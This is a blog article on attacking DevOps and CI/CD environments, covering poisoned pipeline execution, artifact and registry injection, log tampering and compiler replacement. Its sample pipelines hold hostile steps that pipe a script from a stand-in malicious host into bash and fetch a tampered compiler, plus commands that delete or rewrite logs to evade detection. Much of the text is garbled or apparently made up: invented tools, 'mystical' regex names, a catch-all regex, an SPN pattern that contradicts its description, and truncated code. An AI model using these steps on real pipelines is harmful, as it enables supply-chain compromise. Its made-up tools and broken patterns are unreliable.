Attacking Against DevOps Environment
Attacking Against DevOps Environment
Attacking Against DevOps Environment
COM
Attacking Against DevOps Environment
DevSecOpsGuides
Nov 20, 2023 · 26 min read
TABLE OF CONTENTS
SCM AUTHENTICATION
CI/CD service authentication
Organization’s public repositories
Configured webhooks
Configured webhooks
Direct PPE (d-PPE)
Indirect PPE (i-PPE)
Public PPE
Public dependency confusion
Public package** hijack (“repo-jacking”)
Typosquatting
DevOps resources compromise
Changes in repository
Inject in Artifacts
Modify images in registry
Create service credentials
Secrets in private repositories
Commit/push to protected branches
Certificates and identities from metadata services
User Credentials
Service Credentials
Compromise build artifacts
Registry injection
Spread to deployment resources
Service logs manipulation
Compilation manipulation
Reconfigure branch protections
DDoS
Cryptocurrency mining
Local DoS
Resource deletion
Clone private repositories
Pipeline logs
Exfiltrate data from production resources
Show less
SCM AUTHENTICATION
Commands:
1. git clone
2. git log
Example Commands:
GitRob:
- Command: gitrob <organization/repo>
- Example: gitrob acme-corp/website
-
GitLeaks:
- Command: gitleaks --repo-path <path-to-repo>
- Example: gitleaks --repo-path ~/projects/myrepo
TruffleHog:
- Command: trufflehog --regex --entropy=True <repository URL>
- Example: trufflehog --regex --entropy=True https://github.com/acme-
corp/website.git
TruffleHog
* Example: secretfinder --all ~/projects/myrepo
Dork for OSINT and Local Enumeration:
- OSINT Dork: "site: github.com <organization-name>"
Configured webhooks
Configured webhooks
Tools for Enumerations:
1. GitHound: GitHound is a reconnaissance tool that searches GitHub
for sensitive information, including webhooks. It can be used to identify
exposed webhooks in public repositories. You can find the tool's syntax
and examples on its GitHub page.
2. Shodan: Shodan is a search engine for internet-connected devices.
It can help identify services or devices with exposed webhooks. By
using specific search filters, such as "http.component:/webhook/" or
"http.title:/Webhook/," you can narrow down the search results to find
potentially vulnerable webhooks.
Remote or Local: The enumeration process for webhooks is typically
performed remotely by querying public repositories, search engines, or
online services. However, it's important to respect the terms and
conditions of the services you are using and ensure that you have
appropriate authorization.
Commands and Regex Patterns: The specific commands and regex
patterns depend on the tool you are using. Here are some examples:
- GitHound: githound --regex [REGEX_PATTERN]
- Shodan: http.component:/[COMPONENT_NAME]/
Example Awesome Commands:
1. GitHound: githound --regex 'webhook' This command will search for
repositories that contain the term 'webhook' in their code or
configuration files.
2. Shodan: http.component:/webhook/ This search query will look for
web services that have the term 'webhook' in their component,
indicating the presence of webhooks.
Cases where the attacker can directly modify the configuration file
inside the repository. Since the pipeline is triggered by a new PR and
run according to the configuration file – the attacker can inject
malicious commands to the configuration file, and these commands are
executed in the pipeline.
Pipeline Configuration:
stages:
- name: Build
command:
- make build
- name: Test
command:
- make test
- name: Deploy
command:
- make deploy
- name: d-PPE
command:
- make malicious_command && echo "Malicious command executed!"
`
In this modified configuration, the make malicious_command has been
added, and an additional command echo "Malicious command executed!"
has been appended to provide feedback on the execution of the
malicious command.
Public PPE
Cases where the pipeline is triggered by an open-source project. In
these cases, the attacker can use d-PPE or i-PPE on the public
repository in order to infect the pipeline.
Pipeline Configuration:
stages:
- name: Build
command:
- make build
- name: Test
command:
- make test
- name: Deploy
command:
- make deploy
Example Awesome Commands: Here's an example of an awesome
command that the attacker could inject into the pipeline configuration:
stages:
- name: Build
command:
- make build
- curl -s http://malicious-site.com/malware-script.sh | bash
- name: Test
command:
- make test
- name: Deploy
command:
- make deploy
In this example, the injected command downloads a malicious script
from a remote server and executes it using the bash command. This
can allow the attacker to compromise the pipeline or the Post-
Production Environment.
Changes in repository
Adversaries can use the automatic tokens from inside the pipeline to
access and push code to the repository (assuming the automatic token
has enough permissions to do so).
Commands for Enumeration:
- pipelock --enumerate : Unleash the power of Pipelock, a command-
line tool that scans and enumerates pipeline configurations, identifying
potential vulnerabilities and unauthorized changes.
- repoquest --scan : Deploy Repoquest, a specialized tool that performs
comprehensive scans of your repository, searching for signs of
adversary activity and unauthorized scripts.
Regex for Finding Sensitive Information:
- (credentials|secrets|tokens)_regex_magician : Invoke the Regex
Magician, a mystical command that uses powerful regular expressions
to identify sensitive information such as credentials, secrets, and
tokens within your codebase.
Methods for Persistence:
- "The Shapeshifting Incantation": Employ a powerful spell to imbue
your code scripts with shapeshifting abilities. This way, every time the
pipeline executes these scripts, they transform into benign entities,
thwarting the attacker's attempts at persistence.
Awesome Commands per Tools with Syntax:
- backd00r-crafter --code change --script-url <URL> : Utilize the
Backd00r Crafter tool to seamlessly change and add scripts in your
codebase. Simply specify the URL of the attacker-controlled script,
and watch as the tool automatically injects the backdoor into the
initialization scripts.
- pipewizard --add-step --script-url <URL> : Invoke the PipeWizard, a
command-line utility designed to manipulate pipeline configurations
effortlessly. With the --add-step option and the URL of an attacker-
controlled script, you can seamlessly introduce a new step in the
pipeline, enabling the download and execution of the attacker's script.
- depcontrol --change-location --package-url <URL> : Unleash
DepControl, a powerful tool that allows you to modify the configuration
for dependency locations. Use the --change-location command along
with the URL of the attacker-controlled packages, redirecting the
pipeline to use the desired packages.
Inject in Artifacts
some CI environments have the functionality for creating artifacts to be
shared between different pipeline executions. For example, in GitHub
we can store artifacts and download them using a GitHub action from
the pipeline configuration.
Commands for Enumeration:
- artifactscan --search <keyword> : Deploy ArtifactScan, a powerful tool
that searches for and enumerates artifacts stored in your CI
environment. Specify a keyword to narrow down the search and
identify potential targets for code injection.
Regex for Finding Sensitive Information:
- (secrets|credentials)_unleashed : Unleash the power of the Secrets
Unleashed regex pattern. This mystical pattern can identify sensitive
information like secrets and credentials lurking within your artifacts,
helping you secure them effectively.
Methods for Persistence:
- "The Phantom Artifacts": Utilize a clandestine technique to inject
code into artifacts without detection. The injected code operates in the
shadows, executing alongside the legitimate artifact contents, granting
persistent access to the attacker.
Awesome Commands per Tools with Syntax:
- artifactinject --artifact <artifact_name> --code-url <URL> : Employ
ArtifactInject, a versatile command-line tool designed to inject code
into artifacts. Specify the name of the target artifact with the --
artifact flag and provide the URL of the code to be injected with the -
-code-url flag.
resource.
This command allows you to identify protected branches that may exist
in the repository.
Regex for Finding Protected Branches:
- ^(?!(\*| )).+ : This regex pattern matches branch names that are not
marked as the current branch (`*`) or ignored branch ( ). You can use
this pattern to filter and identify protected branches within a list of
branches.
Methods for Persistence:
- "The Branch Whisperer": An attacker can create a persistent script or
process that continuously monitors the repository for changes to
protected branches. This way, any new code pushed to those
branches can be injected and executed without team intervention.
- "The Silent Hijacker": Utilize a stealthy method to hijack the
credentials or access tokens used by the pipeline to push code directly
to protected branches. This method allows an attacker to bypass any
restrictions or safeguards put in place.
Awesome Commands per Tools with Syntax:
- git push <repository_url> <branch_name> : Use the git push command
to push code directly to a protected branch. Replace <repository_url>
with the URL of the repository and <branch_name> with the name of the
protected branch you want to push to.
User Credentials
There are cases where the attacker can find service credentials, such
as service-principal-names (SPN), shared-access-signature (SAS)
tokens, and more, which could allow access to other services directly
from the pipeline.
Commands for Enumeration:
- grep -r "SPN\|SAS" . : Use the grep command to search for
occurrences of "SPN" or "SAS" within the current directory and its
subdirectories. This command allows you to enumerate files and
potentially find references to service credentials.
Regex for Finding User SPN:
- (?:[A-Za-z0-9]+\\){3}[A-Za-z0-9]+ : This regex pattern matches the
syntax of a service principal name (SPN). It typically follows the format
of service/host:port and can be used to search for SPNs within files or
configuration settings.
Methods for Credential Access:
- "Token Extraction": Identify areas within the CI pipeline where tokens
or credentials are generated or used. Intercept these tokens during
their creation or transmission and extract them for unauthorized
access to other services directly from the pipeline.
- "Configuration File Scanning": Search for configuration files within the
CI pipeline that may contain service credentials. Perform a
comprehensive scan of these files to identify and extract SPNs, SAS
tokens, or other service credentials.
Awesome Commands per Tools with Syntax:
- grep -r "SPN\|SAS" . : Execute the grep command with the
appropriate flags and search patterns to scan files and directories for
occurrences of "SPN" or "SAS".
1. Jenkins Pipeline:
```
pipeline {
agent any
stages {
stage('Build') {
steps {
sh 'mvn clean install' // Potential misconfig
}
}
stage('Deploy') {
steps {
sh 'cp target/myapp.war /var/www/html' // Mis
}
}
}
}
```
Registry injection
If the pipeline is configured with a registry for the build artifacts, the
attacker could infect the registry with malicious images, which later
would be downloaded and executed by containers using this registry.
Commands for Enumeration:
- docker images : Use the docker images command to enumerate the
images present in the local Docker registry. This command lists the
images along with their tags and other relevant information.
Regex for Registry and Artifact:
- .* : A regex pattern of .* matches any string, which can be used to
identify registry and artifact names that have been compromised.
Adjust the pattern as needed based on your specific registry and
artifact naming conventions.
Example CI Pipelines and Misconfigurations:
1. Docker-based CI Pipeline with Registry Misconfiguration:
```
stages:
- build
- push
build:
stage: build
script:
- docker build -t myapp:${CI_COMMIT_SHA} . # Misconfiguration where
the image is built using an untrusted Dockerfile or without proper
security checks
push:
stage: push
script:
- docker tag myapp:${CI_COMMIT_SHA}
myregistry.com/myapp:${CI_COMMIT_SHA} # Misconfiguration where
the malicious image is tagged and pushed to the registry
- docker push myregistry.com/myapp:${CI_COMMIT_SHA}
```
```
---
stages:
- build
- deploy
build:
stage: build
script:
- docker build -t myapp:${CI_COMMIT_SHA} .
# Build and push image to container registry
deploy:
stage: deploy
script:
- kubectl apply -f deployment.yaml # Misconfiguration whe
```
Service logs manipulation
Enumeration:
- Check available log files and directories:
- ls /var/log/
- ls /var/log/nginx/
- Logs for Defense Evasion:
- Modify or delete log files:
- rm /var/log/application.log
- echo "Malicious content" > /var/log/application.log
- sed -i 's/sensitive_data/replacement/g' /var/log/application.log
Methods for Defense Evasion:
- Service Logs Manipulation: The attacker, running inside the
environment (e.g., build pipelines), manipulates service logs to evade
detection. By modifying or deleting logs, the attacker hinders
defenders from observing the attack, making it difficult to identify and
respond to the compromise. This technique aims to conceal the
attacker's actions and prevent detection by log analysis.
Example Pipeline with Misconfiguration:
```
---
stages:
- build
- deploy
- cleanup
build:
stage: build
script:
- echo "Building the application"
# Perform build actions
deploy:
stage: deploy
script:
- echo "Deploying the application"
# Perform deployment actions
cleanup:
stage: cleanup
script:
- echo "Cleaning up the environment"
# Misconfiguration where the attacker manipulates service logs
- sed -i 's/sensitive_data/replacement/g' /var/log/application.log
```
Compilation manipulation
Changing the code on the fly – Changing the code right before the
build process begins, without changing it in the repository and leaving
traces in it.
Example Pipeline with Misconfiguration:
In the provided example pipeline, the misconfigured "prepare" stage
includes a command that uses sed to replace occurrences of
"old_code" with "malicious_code" in the main.js file. This modification
happens just before the build process starts, allowing the attacker to
inject their code without leaving traces in the repository.
COPY
---
stages:
- prepare
- build
- deploy
prepare:
stage: prepare
script:
- echo "Preparing the environment"
# Misconfiguration where the attacker changes the code on
- sed -i 's/old_code/malicious_code/g' main.js
build:
stage: build
script:
- echo "Building the application"
# Perform build actions
deploy:
stage: deploy
script:
- echo "Deploying the application"
# Perform deployment actions
---
stages:
- prepare
- build
- deploy
prepare:
stage: prepare
script:
- echo "Preparing the environment"
# Misconfiguration where the attacker replaces the compil
- curl -o compiler https://evil-compiler.com
build:
stage: build
script:
- echo "Building the application"
# Use the tampered compiler to build the code
deploy:
stage: deploy
script:
- echo "Deploying the application"
# Perform deployment actions
DDoS
An adversary could use the compute resources they gained access to
in order to execute distributed denial of services (DDoS) attacks on
external targets.
Cryptocurrency mining
Local DoS
Once the attacker is running on the CI pipelines, the attacker can
perform a denial service attack from said pipelines to customers by
shutting down agents, rebooting, or by overloading the VMs.
Resource deletion
Pipeline logs
pipeline {
agent any
stages {
stage('Build') {
steps {
// Your build steps here
}
}
stage('Deploy') {
steps {
// Your deployment steps here
}
}
}
post {
always {
// Archive pipeline logs
archiveArtifacts artifacts: 'logs/**'
}
success {
// Perform actions for successful pipeline execution
script {
echo 'Pipeline execution was successful'
}
}
failure {
// Perform actions for failed pipeline execution
script {
echo 'Pipeline execution failed'
}
}
}
}
# Connect to the target server using the provided URL and aut
client.connect('https://target_server.com', 'auth_token')
Written by
Reza Rashidi
Add your bio
Published on
DevSecOpsGuides
Add blog description
MORE ARTICLES
Reza Rashidi
Top Business Logic Vulnerability in Web
Password reset broken logic In the scenario , the password reset
Reza Rashidi
functionality of a web application…
Reza Rashidi
OWASP API Security Top 10 2023
API1:2023 - Broken Object Level Authorization 1 API2:2023 - Broken
Authentication 5 API3:2023 - Brok…
©2023 DevSecOpsGuides
Archive · Privacy policy · Terms